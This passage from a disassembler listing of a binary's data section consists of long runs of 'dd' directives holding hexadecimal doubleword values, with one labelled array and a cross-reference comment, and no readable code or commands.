		dd 11F84600h, 35044B49h, 3A8130EDh, 71780582h, 0A76806F9h
		dd 0C34DC71Bh, 0A7175CBBh, 0F5BB2DE2h, 0A8C91C5h, 0F053410h
		dd 72CFD976h, 0EA8ADA45h, 5208BB35h, 985F171Fh,	95407813h
		dd 373ABF52h, 4BD69CA9h, 64FF5Ah, 0EAC42E4Eh, 0B57CE2AAh
		dd 4B010398h, 86616184h, 32A365D6h, 313019F6h, 0E03F20DAh
		dd 2CEBB8F4h, 3F59C640h, 0DF6095ABh, 5DF61438h,	0CA096A9Ah
		dd 847FC74Bh, 9CBFFB3Eh, 1481EAC5h, 0A5804D01h,	0E6676017h
		dd 0DA5214DDh, 0BB02F13Bh, 1A1F19BEh, 0A9FD0255h, 0AF57DB05h
		dd 55BD7522h, 0BF45809h, 6CF007DDh, 908AAC5Ch, 68417AC3h
		dd 0B33F1641h, 5D7D1156h, 9BDEA28h, 309B5225h, 5093985h
		dd 80EBC186h, 601CCB7Ah, 43602BEEh, 1282668Ah, 0B52D00D4h
		dd 173F941h, 7A205D8h, 53C5177h, 0CD7009E9h, 8643E00Ch
		dd 91F5D5C4h, 921465A1h, 0BE8B59F2h, 0E9D5918h,	1FD95181h
		dd 32804634h, 0F906C4C6h, 1D829676h, 7F5AF588h,	569FD250h
		dd 53F26276h, 2960ECFEh, 3F30CCB7h, 9B945AF7h, 0B1C0FB6Dh
		dd 0D0D1F6D3h, 64E9E134h, 0FC3AC63Dh, 0E955A0CDh, 2F729F82h
		dd 3A1FC616h, 2EE220Bh,	0E304E68Ch, 6E5FE036h, 0D4515h
		dd 5B7CF7C4h, 0CACC2E55h, 6C06088Bh, 0CF0583C6h, 71C44253h
		dd 376836C0h, 3E2B60AEh, 557C7464h, 0FC4B0B97h,	0BD93272Fh
		dd 67C72205h, 4D84E6A7h, 0C1402CFEh, 0A9276771h, 7888FF7Dh
		dd 8D02C08h, 880E44A7h,	10F054ECh, 0BA0E2072h, 2E413804h
		dd 6F5AD389h, 88688BC1h, 62FED4EEh, 4D4ACB2Fh, 2162D855h
		dd 9942729Ch, 980EE44Dh, 0C6051261h, 0EA661339h, 38987D38h
		dd 994F0106h, 0F2883B2Dh, 0F1DE16B9h, 2583F9F2h, 5FFE42A8h
		dd 0D3BDF8ECh, 653B0226h, 0A3804D84h, 0E8E5E902h, 4D02881h
		dd 3F2F9172h, 0B068D04Ah, 9B4EE977h, 98BA7684h,	0CA0BBAADh
		dd 58607A65h, 0F5214FA3h, 21B23F4Ch, 9F1250E3h,	0DD42A2E9h
		dd 7C020768h, 0CFD8BA18h, 0EE93A4F4h, 8C3A7241h, 0B95F189h
		dd 0E0AF5639h, 37F3422Bh, 4812E913h, 80F47DFCh,	98024158h
		dd 47E92013h, 25B2A0h, 71832BDEh, 5E5A7D2Dh, 97350B3Bh
		dd 84046EFBh, 0A8121CFEh, 0E574101Ah, 0C6ED8100h, 2908FA26h
		dd 13FCC57Dh, 90E9A6h, 0CD7FCE67h, 0B5CFE7F6h, 24984641h
		dd 7B97034Ah, 4286216Ah, 3A50C1E9h, 0EA00A79Ah,	0BB1E6373h
		dd 93F84FAh, 82F0E997h,	0AFF32EA3h, 0F667EB98h,	0C3FED318h
		dd 2DE99614h, 0E664B8A6h, 56957695h, 0FB0CA299h, 0BF1F3E4h
		dd 48D9A691h, 6DEE8010h, 65693F12h, 89150FFh, 0F6825A3Fh
		dd 10740554h, 60062461h, 0A11620FAh, 74C00279h,	0A801256Fh
		dd 0C0C02D8Bh, 19EEC78Dh, 0D7F61F48h, 1262A249h, 0A6B25BD8h
		dd 149D6882h, 0A38B1AF9h, 62037C01h, 0AC5611C1h, 51F83265h
		dd 81424A00h, 86AE17F2h, 6A2A407Dh, 0EE3CA55Bh,	0E8501329h
		dd 3DA10EF8h, 0AA8153Ch, 0B9501D04h, 0C0B9C267h, 482EEE7Fh
		dd 3410B1B1h, 0D6290B26h, 3E137D55h, 6EDEAFFAh,	0E3D15825h
		dd 0BEF71DF8h, 415C81CAh, 78915FFh, 0FBFC4EE4h,	6D0CB903h
		dd 2CD113C7h, 0F1947B60h, 6CC4C901h, 0CB7E0F26h, 24E93F35h
		dd 0A44090E4h, 903D1D7Ch, 1B2D1666h, 79390FCAh,	7086A875h
		dd 0F30C33B2h, 6C19D09Bh, 0E958FAD8h, 0A7CAAC2Ah, 0E9E00268h
		dd 9BA2C137h, 55C63D0Dh, 0E201575Bh, 51F93813h,	44410170h
		dd 48B7017Bh, 0DD6C8128h, 66781B0Ah, 2DB2925Ah,	1E19ECC8h
		dd 0C23A0991h, 0A5A1BF8Dh, 51330868h, 7FCA2380h, 8A25D38Ah
		dd 68B82560h, 21865D12h, 1F6EB701h, 577145E0h, 0E36A01E5h
		dd 86949468h, 27242EDBh, 9BDDD1F7h, 593BF876h, 455CCB7Ah
		dd 0CA9A2E1Bh, 45450977h, 70DE2D0Ah, 126D880Eh,	18D58DBAh
		dd 98BC5015h, 0E5386850h, 0AB1FDD8Ch, 377FC2F3h, 0D650912Ch
		dd 9ABE5600h, 906CB909h, 35AD00D6h, 0F2293C28h,	2B9264E9h
		dd 975FFE95h, 0BD72C259h, 5A0C1B6Ch, 0C37BA43h,	0BC1513BFh
		dd 6D8C202h, 0B8FEE550h, 32AB0500h, 3B68BF57h, 14285ED0h
		dd 0D402C029h, 11A7B3Eh, 13E65257h, 0C52B76E9h,	1FA765B2h
		dd 1347D38Ah, 0E94B4310h
		dd 0FB581342h, 0F0ED2F7Bh, 0F6801852h, 0C0AD06D0h, 4D65EE4Dh
		dd 43BC4F1Fh, 108F6B0h,	29453794h, 17835CB8h, 7DE25866h
		dd 6A3A5BDCh, 8D138EA9h, 0CC0D24A2h, 6E65EA68h,	0EEC9B6F3h
		dd 97C1CCD7h, 748767Ah,	58124332h, 48322057h, 21E285Bh
		dd 82799257h, 0CA405878h, 0AD0B195Dh, 80E3D16Ah, 0B4EEB01Dh
		dd 7D050CABh, 0D8C80862h, 0A072D51h, 0F7A71A7Fh, 22BEC167h
		dd 6018E32Fh, 722A5188h, 5869FE4Fh, 8846452h, 0CE8103A8h
		dd 1EDFE1BDh, 92A55EDh,	0A9D65633h, 2C148058h, 2F975DBDh
		dd 16BB1DF6h, 3220ECDFh, 44FB3C97h, 79BF5354h, 0F9644BA3h
		dd 0C0F7E92Fh, 0EEEFD150h, 2C784101h, 3D583AECh, 143693DAh
		dd 3DAF2FC8h, 0C60AE6Ah, 0EDCF105Ch, 42FDE92Dh,	1FF973B1h
		dd 68A53024h, 17CB0189h, 0BAA72099h, 4E6F0DA6h,	8AA5A24Ch
		dd 0BB80A92Bh, 0F3A7A958h, 9BEC331h, 30F75AD3h,	30E0E943h
		dd 77848082h, 4CC5C995h, 0D24E0909h, 67D50130h,	1A9FA665h
		dd 1778B502h, 0A3F7382Ah, 27C25Eh, 63079260h, 0CA31066Dh
		dd 1AD1B2E9h, 4F37519Dh, 0E7193DC4h, 0CABC4A54h, 165F0125h
		dd 0F4C6200Bh, 6FA84B50h, 3E45D917h, 0E93931FFh, 2F10FF6Eh
		dd 515CE0D5h, 22BB84Ah,	29C9A7E3h, 5DC5DFD3h, 8BE05FBEh
		dd 0FB7A1764h, 8083A144h, 0F8730912h, 6CD4E921h, 0CD3A2CEFh
		dd 323B70F2h, 0A9F5020Fh, 7D76F01Fh, 0A1274FC0h, 312FD209h
		dd 264102EFh, 88237E73h, 4E139B6Ah, 4A8F5D10h, 4F61B3C8h
		dd 0B8838C86h, 0B3133900h, 5B46BA06h, 312602B4h, 6FF9E9C2h
		dd 6E9E4974h, 0B889AD3Dh, 0B830FF7Eh, 58134043h, 97C20939h
		dd 7EE3F752h, 9E0ED648h, 0C3CB0557h, 67B01AFAh,	71E80B9Dh
		dd 31D75A74h, 0BE54176Ch, 9A5D2DC3h, 64CE82DFh,	0ECD75C23h
		dd 0FE97D192h, 0D4FB27F8h, 0EA2035A8h, 0E6ACD0E1h, 792C814Eh
		dd 0A4A0056Ch, 9F18F468h, 0D8C3E3A5h, 0E9A02Ah,	0A9679368h
		dd 0B520540Dh, 312B4AFFh, 2398A082h, 60FE4F82h,	50436811h
		dd 8F62FDB4h, 542F13Dh,	0E9595851h, 7D2C7F6Ch, 7464B1A1h
		dd 2C3FADF1h, 0D2A837F8h, 1C1E98BFh, 0B8930FCDh, 20742616h
		dd 0CF915280h, 80D05B5Eh, 0E363E910h, 29EE1CD2h, 2084BD5Ch
		dd 125C4822h, 14E932Dh,	914177F6h, 5BCC5441h, 0F4EA2381h
		dd 202F3309h, 706B411h,	0CA294FD3h, 4208821Ch, 13E78AEh
		dd 67F66857h, 7B5F74CEh, 5DF73AB0h, 0FB1F9FDFh,	3056AD33h
		dd 0D6E7602Dh, 511CBF78h, 9E603AFCh, 5B66FA0Dh,	3E22DC0h
		dd 0A0D2B8F8h, 31852E0Ch, 5EB45EB2h, 0DB40CB52h, 0C47D2F29h
		dd 70422D2Dh, 589ADA67h, 81075C8Ch, 394DFAF5h, 65B82A7Dh
		dd 15495C8Bh, 731826A3h, 5E3E34Ch, 34827E8Ah, 5A8E6EC3h
		dd 6E26B10Dh, 0B686C2Ch, 71435149h, 0E8454802h,	0CCE28001h
		dd 761DC142h, 45180F8h,	0EE813AC0h, 5EFC5FF6h, 844C689h
		dd 2544C2AAh, 7D5A4456h, 441AA68Bh, 88D2455Dh, 0B001FEF6h
		dd 6CB5514Dh, 80565520h, 2001055Ah, 2D4A1E7Eh, 4BD5591Fh
		dd 1F21847Eh, 0A1112807h, 0C163D8BEh, 0E193513Ch, 1A07F9EBh
		dd 84574BBAh, 8000E43Ah, 0D5F6CDF5h, 0EC0DDE4h,	0E9EA88FFh
		dd 45474984h, 0E2FA005Ah, 1300E50h, 234745Eh, 9080C10h
		dd 5200F9Bh, 46E0AD8Ch,	9F9EF6h, 73E18059h, 863EC9FEh
		dd 30D61DF1h, 299EE909h, 2715DCEBh, 206CED6h, 0C012DDF7h
		dd 0C73DC56Ch, 94C1834h, 20B4C6Ah, 8590D7Fh, 5AA98041h
		dd 4B678266h, 7335BA31h, 40B157A0h, 7DF86821h, 8B08399Bh
		dd 0F586097Eh, 41354E50h, 0C0BE0C20h, 0DD28B49Eh, 5BFE970h
		dd 8CAB5824h, 0D564F7A2h, 5E8007AEh, 48FE0B2Dh,	2F6184C3h
		dd 7B5FF931h, 0BC9B1B4h, 6A540A68h, 5C0B5856h, 82865934h
		dd 550551E2h, 494C61DFh, 0FC1ABDD4h, 377B43Eh, 46FE3F30h
		dd 4D4C0C0Bh, 80EE2844h, 68150820h, 712766h, 0FC1E76BBh
		dd 0B7DBF730h, 0D112A979h, 2CC2F9A0h, 12AE8F6Dh, 5D848265h
		dd 0C763FCCEh, 0B9FE89CDh, 3F62FC2Ch, 0CF327F02h, 0B1D75E1Ch
		dd 0FEE6F599h, 0EFDE5AA7h, 7516FDCBh, 39786E09h, 207E653Dh
		dd 0D3C93DF3h, 6A593h, 0BD7CFDC4h, 0F1BD313Fh, 9CE2026h
		dd 0A8C4F70h, 8A09C56h,	0B1225B5Fh, 185D505Ah, 0E92BD768h
		dd 6B90976h, 5E08C7A4h,	98BD01FEh, 243E305Bh, 68C1064Eh
		dd 8C16E63Ch, 0ADB1C645h, 7BDC589Dh, 0C45DF95Fh, 5D05FE42h
		dd 0E201C468h, 3AED5F2Bh, 82E8A4C9h, 0B7F60204h, 52C271Eh
		dd 267AF85Eh, 5625C95Bh, 5DA5B818h, 7FAA749Ch, 297BD8D5h
		dd 0ADB44E70h, 144078CEh, 0B2A84AD5h, 28458184h, 0C06E3ADFh
		dd 5963E590h, 0C07C712Eh, 0B63FCE02h, 9B38067h,	90753C7Ah
		dd 0F9FC0984h, 255DDCF2h, 77F82AAEh, 72CAC0Eh, 0FBE1F75Eh
		dd 0D0585374h, 19CE7286h, 8D4F6E1h, 1563E230h, 0F3B0085Eh
		dd 280125B4h, 5F3C7EDEh, 41F352B0h, 2CE2A36Bh, 118DE985h
		dd 25EF00Bh, 0F7C9093Ah, 68D0A418h, 6B37A1B7h, 0C0217A77h
		dd 0E13EC5F0h, 5CE555C2h, 1B38F5CBh, 3B4FE9D6h,	0F7138D17h
		dd 11C57EF2h, 3A98F183h, 3668906Dh, 0FE428017h,	40D6AF29h
		dd 49E90213h, 5F2C35DFh, 92CE1CEDh, 0A0AAA8F7h,	90524F59h
		dd 7C2502DBh, 0F28978FCh, 6D15EBC1h, 0F00185C5h, 73089481h
		dd 10AF8A2Ah, 0F15BECB8h, 1160CE96h, 929DC440h,	50A96242h
		dd 64599F7Dh, 3FB468E1h, 1BAD54Ch, 41F67644h, 2BA6D9E9h
		dd 0A4ACC622h, 0CB1E337Dh, 107F4196h, 0FCB8116h, 71EF499Eh
		dd 48D512C9h, 0D363DF33h, 5A9AE8D1h, 0A9963CCAh, 0ED9E1675h
		dd 0E8E57E8Dh, 507D0C2Fh, 628A2D5Ah, 1CB8AE71h,	12FB12FEh
		dd 80E5E641h, 0C17B2AEDh, 0D5E7C551h, 5AEF4750h, 0AEBA01D6h
		dd 3A05036Ah, 5D840BEDh, 250CC152h, 0F95E02BAh,	8C83A6ECh
		dd 0E1FA3753h, 0FE11C60Ch, 5B2E5C28h, 4F4A3EFh,	0B466938h
		dd 0C8C42FE2h, 0E8C1076Fh, 5B3548B0h, 24CE2DA5h, 8D5BDB63h
		dd 0E90A293Ah, 0AF8A4C7Ch, 0A16AE54h, 7601D00Bh, 0F00A3300h
		dd 394157F2h, 36C86FE1h, 0B3EE4B29h, 0BA520160h, 58169D1Ch
		dd 0B5D5A724h, 94F7D209h, 5E15490Dh, 4F24E25Ah,	70E68ABh
		dd 6316216h, 39CBB201h,	60E27A1Ch, 0B6B061A9h, 80F6CB76h
		dd 91EF5812h, 0E2E952F5h, 6FBBFEFCh, 54ED44B5h,	40AA8895h
		dd 0ECB302E2h, 5CDD898Ah, 4835381Bh, 0BF2F8E30h, 0C38058C0h
		dd 0E606C767h, 1EDEEB67h, 33581077h, 885BC717h,	8AD9A5FCh
		dd 4C696881h
dword_4F0044	dd 42260BE8h, 0EBAF00F4h, 5AD26296h, 1227B85Dh,	3FD02490h
					; DATA XREF: ___:004385ACo
		dd 1E873E5Fh, 3FD1292Fh, 16300851h, 91115D57h, 10F2A586h
		dd 52F803BEh, 692F5D68h, 0F13A4FC0h, 0D048F774h, 4006062Fh
		dd 180DE0D1h, 51714AE9h, 3C2E11C2h, 45244251h, 0DFB1A909h
		dd 707F8A32h, 782B304Fh, 9F71F135h, 0DEBD052Dh,	0E6E941BEh
		dd 0DECE7417h, 0B8504601h, 274C2DC6h, 0EEF077AFh, 77B03500h
		dd 0E189F281h, 0C4495FDCh, 70C4AEEAh, 0C19EA5BAh, 0CAD421F0h
		dd 4539C440h, 75A5B796h, 33F28F9Bh, 0B075B0A9h,	9DDA6836h
		dd 0FE627656h, 4502DE98h, 0B806B090h, 0AD153C3Fh, 9E1E564Fh
		dd 0BB05A051h, 4B9A09F7h, 0A0080EE0h, 817FD583h, 0DD243FBEh
		dd 0F8B39C09h, 0F0955A6Eh, 0B55FE115h, 406FFCCCh, 18FCB8EBh
		dd 253FFB01h, 60AF2EBEh, 8D2DD340h, 28342C30h, 0E5CF198Ah
		dd 2D377FE3h, 9CAF6D2h,	74C30AFDh, 89512E02h, 0B481FD1Ah
		dd 216F8BEDh, 316121E7h, 41027B2Eh, 0C656A2E9h,	0C50950Fh
		dd 0F6F1872Fh, 2F6252FDh, 0E7C1C221h, 22FA7005h, 1AA67612h
		dd 26E900F0h, 40421797h, 0A79AAE34h, 40A8294Eh,	0B244E0E5h
		dd 0AF33010h, 8CFAAA1Ah, 7789B8F5h, 0C10180D7h,	90474695h
		dd 7EE709B8h, 0C84042F5h, 64B8D40h, 0E97969FCh,	16CBA221h
		dd 2759C83Ah, 8DFC6521h, 1F73C70h, 2F211064h, 6442D58h
		dd 672D64EDh, 5355B2E0h, 484C6805h, 6AB01862h, 6D4D12ACh
		dd 0CDE0906Fh, 0C450C59Ah, 0E3E5D9BFh, 37F8DA18h, 4E2CD8FDh
		dd 0F33D17A3h, 94ECD23Dh, 8D83558h, 0C013CAB5h,	0D8106E5h
		dd 0C0CFE2C5h, 0F55166CFh, 0B0015460h, 0B2521F7Ah, 0D9CA8ED0h
		dd 0E9CFC260h, 5AD2252Fh, 0E8D2C8B8h, 47387E2Fh, 38AA4BA8h
		dd 0D641B96Ch, 0BCCDB03Bh, 5DA31A69h, 0A8D3A8E3h, 2F972341h
		dd 0E9F1A8F8h, 0F2A47E63h, 448C09E3h, 917A2553h, 5FF1F05Eh
		dd 0F20D9502h, 30AD3CFFh, 0A7026625h, 0C4405450h, 0DF829BD5h
		dd 894357E9h, 0D12F7FDBh, 271C885Bh, 4EEA5D16h,	0F8C162C0h
		dd 26C731BBh, 0FA8916A0h, 0F52D39D1h, 0E5615E02h, 0D24E7C0Ah
		dd 1DFF3906h, 0B57CB057h, 5A7B4C76h, 53DC2851h,	8420E91Ch
		dd 3D6A5B27h, 0A53D23ACh, 0FC18073Bh, 0C03A03B7h, 3EB28693h
		dd 0D9CCE39Ch, 0DA3632E9h, 8AE0AD2Ah, 1A970F7Dh, 20E072C8h
		dd 0E9152891h, 782DBF41h, 1147517h, 5085C227h, 5F14DBFCh
		dd 1A22C246h, 0BF04DE4Fh, 0C6FA2007h, 41B702DFh, 0A130B37Ah
		dd 397C9DDCh, 70965C25h, 3A9C167Dh, 0FE36BF60h,	62D9B81Ah
		dd 5AD1677Bh, 2AB3F5F1h, 0A7886959h, 21C14600h,	95B0635h
		dd 0C20F0405h, 0A8DC0898h, 645568EDh, 85D2F77Ah, 0E45F8D37h
		dd 28963460h, 2E31D482h, 57E56077h, 4AE513BFh, 4B3AC86h
		dd 5CE718C6h, 6B0286C2h, 41CFE189h, 0EC2908E8h,	2BED04EFh
		dd 0A801C27Bh, 17EA1CB9h, 5E775145h, 44D534ABh,	0FDA30FBAh
		dd 0D4FE1664h, 2FFE32BAh, 0BA06D9D0h, 1BD55A33h, 0DADF74Eh
		dd 0E28E0FE1h, 0D840A49Ah, 0F3C5BA0Ah, 3B8D789Ah, 4A64F460h
		dd 3FC7CA69h, 1266C0FEh, 0D2101668h, 845DB5E0h,	0BC5807FEh
		dd 3AE16AB2h, 40B6F7ECh, 5C7A942Dh, 0D31531C7h,	38A0705Ah
		dd 0A99A46F6h, 898AF2B5h, 0D352B141h, 2F54FE5Dh, 0D8004D1Ch
		dd 0F84C472Dh, 9BE566Dh, 0A4127DCh, 811DF200h, 60010574h
		dd 0E9485A37h, 38A5296Ah, 0B389DDFCh, 28799173h, 2ACB2D6Fh
		dd 86E40E53h, 0C51145DEh, 0C2859B25h, 738F9934h, 48425E71h
		dd 74B5652h, 8307E3C0h,	1017E155h, 61EF388h, 245658A0h
		dd 5F5B8907h, 9DC4C262h, 65E7C6A0h, 6E5ABA3Bh, 23017CFCh
		dd 31671309h, 80CC61F9h, 6FBD5541h, 167B3F0Fh, 25DEA89h
		dd 0E1D1E9E7h, 0A198E457h, 2A3484AEh, 262502B9h, 0CE0952D3h
		dd 890BCE51h, 70C080E5h, 0BD26DA12h, 0EAA58783h, 97AC485Fh
		dd 62EC8009h, 2B622275h, 1E0E0BEFh, 5E262848h, 85265E01h
		dd 19F1550Eh, 0FE0C173Ah, 0E84BE02Fh, 6E3C185Fh, 0EEE4EB27h
		dd 0EE194B98h, 6CE90E20h, 4A24A05Fh, 13783D6Dh,	2FF5BEF6h
		dd 75A5ACD3h, 0B455500Bh, 0E78231D7h, 7ED3460Bh, 0AEF993D1h
		dd 0EFD9753Eh, 3DB9D980h, 0BE06EE75h, 0F04112B4h, 8D3D939h
		dd 0A9EFE701h, 162A3123h, 5D02EB96h, 0FFE27FE9h, 789095A0h
		dd 0CCF649AAh, 30CE524Ah, 24D20128h, 51D1FDFAh,	2809F080h
		dd 0C2CBAAB6h, 20994105h, 0C831EC52h, 0B72C02EEh, 0E1688D38h
		dd 0BDF95B66h, 0CB67A16Eh, 3455E083h, 10387669h, 0FBCB59h
		dd 0FD324A81h, 864FE91Fh, 2EC61F90h, 46531D70h,	0EBE6C14Eh
		dd 837E3805h, 0CB12D01Ah, 318950ACh, 0B94E1378h, 3B91E417h
		dd 40EDDC6Bh, 2D513998h, 1C555471h, 0F80F9CC8h,	0F66B5BE9h
		dd 34925819h, 0FBE76FE6h, 142B8AE1h, 460557E4h,	0D0397648h
		dd 685641B5h, 991CA83Fh, 3ACE5E1Eh, 0EC1A2030h,	6BF003F6h
		dd 0F1214728h, 30C11E03h, 0CBB62532h, 2E6A20CBh, 35D85A4Fh
		dd 0A8F6072h, 7C1CB5BDh, 0EE311002h, 77DEF75Dh,	36185D52h
		dd 0CE3C126Fh, 1A3F58A3h, 0B3B0E90Eh, 7F99AA13h, 0E988286Ah
		dd 103AE12h, 3F0F3DAEh,	0C990DCB3h, 88688E0Bh, 8CCA6700h
		dd 745ED34Bh, 1F01BAE8h, 0E94249BFh, 5BA03B6Dh,	5A6F975Dh
		dd 5CD76806h, 79BE3491h, 18B2EE0Ah, 0A4552012h,	0B470ACBBh
		dd 583E7E95h, 250907A8h, 75FA2953h, 0B2EADE30h,	0ED15412Ch
		dd 96D16F0Ch, 1DFA2768h, 63238E18h, 5A447B5h, 99597668h
		dd 4C64605Fh, 4B9F4BB5h, 0CC9CF266h, 4A011102h,	25B9E6D9h
		dd 989D4C51h, 26C92000h, 24F19DA1h, 226237Dh, 0C2004457h
		dd 4BC298Eh, 0F269B809h, 0FE30EF1h, 0CD2931C6h,	6BF1EA32h
		dd 1094E984h, 0D0643BA5h, 0D2ED4DB0h, 7A47B800h, 0F6352263h
		dd 48E85C3Dh, 0ED1C24FDh, 945CDA95h, 3EE630BFh,	0C50EE81h
		dd 5D1D4D25h, 7512280Eh, 4D1E5587h, 40213244h, 84170F9h
		dd 0B0141CA0h, 0EDF24E4Eh, 0E1E9B06Dh, 57A2AAB0h, 0B0F6608Bh
		dd 548B2809h, 3E044B48h, 0FC4D0C37h, 78C10D57h,	4778097Bh
		dd 0A61A108Eh, 952DE96Ch, 3D59C643h, 0E7A55456h, 704F5B61h
		dd 6D1F06D0h, 650B1029h, 2075967Ah, 580BC140h, 0C65C2768h
		dd 643C2D00h, 0D0379998h, 0C731F497h, 0A016CECFh, 195B683Ch
		dd 75BEF9D1h, 2619E72Fh, 0C41706D1h, 7C6B32EBh,	0A10342EAh
		dd 810CCEB3h, 725259C8h, 205BC004h, 5F0E4F30h, 15D84760h
		dd 986EF945h, 8AD00B35h, 2579F49h, 41C801F6h, 0CA6276B5h
		dd 0BE7C1807h, 0B14162Dh, 8BB5DA98h, 9CE85D35h,	5E81CFC8h
		dd 9145FA70h, 2E14AD7Fh, 2D876CBFh, 31895FFEh, 0BCE5EEDDh
		dd 1F68E180h, 0C146680Bh, 0C7A3C50h, 4B4CA60h, 1F385C3h
		dd 0E811C5E8h, 93883D4Ah, 69A23058h, 2E076809h,	0C220A0E6h
		dd 6ABA0440h, 0BA753A87h, 2F8BD384h, 7BD18940h,	259BB854h
		dd 0DB0C58C7h, 0AB085618h, 26317C82h, 52CC3A49h, 6805FAB5h
		dd 0F6441256h, 2D8ACEC2h, 87DF2909h, 0EB0D1AFEh, 0E4A003FFh
		dd 118C106h, 3B7BDB24h,	840F2ECh, 0B255505Dh, 4BF879F6h
		dd 0F911C58Ah, 0DE581A20h, 56148B65h, 0DBB0165h, 649BF05Ah
		dd 0F33881DAh, 57809D50h, 52CEE380h, 164B0AD3h,	94E613E9h
		dd 9601EB75h, 0FAC58072h, 7739272Eh, 4CFED003h,	59790124h
		dd 880AED0Eh, 0D307DCEAh, 0A989A6E9h, 816D7E6h,	0E7CEA130h
		dd 0B287AE7h, 0DFF7514Eh, 9427E80h, 0BD9803F9h,	4B336920h
		dd 0CE12BA5Ah, 8E9F861h
		dd 0B346843Fh, 0C4AF4DD4h, 21610D6h, 0CC88767Eh, 69AEC169h
		dd 0F2486A58h, 0A662D1A4h, 0C5C9AFD9h, 0CFBEDCC5h, 0D7277FB0h
		dd 0B5EC4D2Fh, 134C9A95h, 77A126E9h, 9345A77Ah,	0E99228FAh
		dd 0DB607931h, 3DCAB68h, 4959011Ah, 7C87E181h, 0F17230CEh
		dd 1E1BCA01h, 72DEE925h, 2B34A36Eh, 5596495Dh, 8BEB5875h
		dd 62F24AADh, 56C8BA92h, 0DB554F1Dh, 86E90BA6h,	0C8309311h
		dd 80412317h, 510B1CF6h, 58DAF74Eh, 0A69501FEh,	0D029BDE4h
		dd 1230775Ah, 0F5B17AE9h, 0B7D97DE2h, 73E95A61h, 0B66ABF31h
		dd 32E16A6h, 2581C024h,	4F7C2543h, 851117D6h, 5A948A13h
		dd 5272A731h, 307CB800h, 3347E13Dh, 1E5FFD6Eh, 660C6827h
		dd 706A0Ch, 1EFA6033h, 234980E9h, 0CD191653h, 4775BAAh
		dd 3CCF7EF1h, 24578F4Ch, 0CFABD8DFh, 3A8C458Ah,	5C25308Ah
		dd 189EDA61h, 6894BE9h,	3FFBE1Bh, 20BF24F4h, 12FBE70Eh
		dd 0C1B6063h, 77A650CBh, 4E78E912h, 0DF54A2CCh,	0FF684B0Bh
		dd 61499A55h, 0BC440E4Eh, 5A499EBAh, 0FA540DD1h, 0C0C71D80h
		dd 579328D3h, 0D3FF5B6Ah, 763F010Bh, 0BBA4C9AFh, 686A90C9h
		dd 53BD53EEh, 980049E4h, 1AB25106h, 0FE023C90h,	1E54DAEh
		dd 0FA2F61D7h, 0AFA5C368h, 4547A598h, 0AF0A55CCh, 0B8585CF7h
		dd 0E30D9930h, 0EB388058h, 0C3EA736Ah, 3D5921EBh, 83EA03DFh
		dd 0DABA5FF8h, 0E7FFF01Eh, 9374A76Bh, 6464D91h,	0F6971C08h
		dd 240C6A8Dh, 0ED91085Bh, 0E642702Fh, 7DE6E692h, 0E4DD5BA6h
		dd 217E29Dh, 4D025756h,	0FF6B3165h, 38F8CF00h, 0FCB51404h
		dd 2B014BF6h, 20106AD6h, 0E7400174h, 0F3F9945Bh, 0E9C101FDh
		dd 2F011664h, 82E55FB8h, 9C7E4666h, 0D95D52Dh, 0B72A9C3Dh
		dd 0F714F725h, 0FBAB4F27h, 933A9B5h, 0F0C8E344h, 8A706CD4h
		dd 2E3FB696h, 539370B7h, 5F5B8072h, 500E9A9Eh, 29E914B0h
		dd 9504440Eh, 287A5h, 476FEF62h, 0E9127A28h, 7C615270h
		dd 0C472851Bh, 0F0286905h, 2F80AA38h, 2F0EB52Dh, 545619B3h
		dd 0FF1FB648h, 0F26D0B42h, 0D609FF35h, 705C0E02h, 0DF685F00h
		dd 9A9B9522h, 3B2A2EA0h, 4DBB5307h, 0BA60CD0Ah,	13B25A05h
		dd 0E8DA2973h, 569CA5FDh, 0F1E927CAh, 13680281h, 498D6B37h
		dd 0B774CCE5h, 0B6EC30E9h, 3438EEF7h, 28BD7990h, 5A16083Dh
		dd 0F37EBEACh, 0BF472E25h, 4FF43DD3h, 0C031AB3Ch, 0C93E9520h
		dd 0DB0520EAh, 61F2374Fh, 16558EDAh, 4F029804h,	8400FDE0h
		dd 0BD72A52h, 0B01FEF3h, 6428BDDAh, 69BA8980h, 5D4B86C8h
		dd 302780ECh, 0C4C1ABC8h, 39EC7513h, 0E12E9A8h,	2D33F6ACh
		dd 0B7AF08A1h, 855B5D04h, 307DDDECh, 502D3F4Eh,	202CE8B4h
		dd 0F11ACAE7h, 126154ABh, 13445E27h, 85492DFDh,	822A5CDCh
		dd 70E1EE80h, 0F42242Fh, 46BF01E3h, 0D9FE661Ch,	4A80265Eh
		dd 6D2B3FB5h, 5A6764B0h, 30CC434Eh, 784670B6h, 3D4197F3h
		dd 7BB93FB3h, 418853CBh, 0EF591D07h, 84A88345h,	61374E0Bh
		dd 64927F46h, 871A0C81h, 2B89ED26h, 0E6E164C1h,	19E50500h
		dd 3ED26748h, 60F81CC3h, 0F9B9DD2Dh, 4FCC2CC6h,	18F3AF41h
		dd 0D9E05E64h, 0F117C049h, 76908854h, 6FF9BA90h, 2D2524DEh
		dd 0F95042FCh, 2DC4958Ah, 3326FB93h, 0AA4DFB01h, 62DA292Bh
		dd 580805EEh, 4A83CBBEh, 0FBE47AECh, 31E9BC31h,	0E83AE325h
		dd 170AB1FAh, 0ECB7DA6h, 0F354A156h, 8048041h, 55EDA604h
		dd 0C7D8F704h, 0CF4A307Bh, 7CB8091Bh, 0CA12824Eh, 4C09C3A8h
		dd 2A5D3016h, 34098D5Ch, 506EF48Dh, 59818909h, 0BCB4933Ah
		dd 99BF291Eh, 5146C9h, 5828EF54h, 81B19136h, 77632BFh
		dd 721C6B29h, 0CC56C5C0h, 9462E941h, 0D3BE01B3h, 61683542h
		dd 43D5CC38h, 3F60B59Eh, 0B39AE1Eh, 11E9DE21h, 0F9FE378h
		dd 38D60EBEh, 404846h, 0B1B960Dh, 61273533h, 5570E03h
		dd 0D5BB46C0h, 5D969182h, 67F5553Ah, 0F556A526h, 5CFD2853h
		dd 76DD09ABh, 0A17D4EF9h, 0E2D2E951h, 0E474B82Fh, 0E27481FFh
		dd 0D30B396Eh, 1ED8DC1Eh, 0BD52580Ch, 79B5EE00h, 0D8BF074Ah
		dd 0C1078298h, 916BDE5Ah, 3AF0C8A8h, 41906137h,	404B5A15h
		dd 0E2406601h, 0A7EA3880h, 6D96DA3Dh, 750E90C8h, 69276328h
		dd 4836F231h, 0C409B59h, 0A7DC27E9h, 69C35Ch, 894CBA70h
		dd 8370C160h, 9337B848h, 24AE6B0Ah, 4F4FC57h, 4F91698Ch
		dd 9FE9CA80h, 6273B7ADh, 936B982Fh, 0ED8080C7h,	2A1EC24Eh
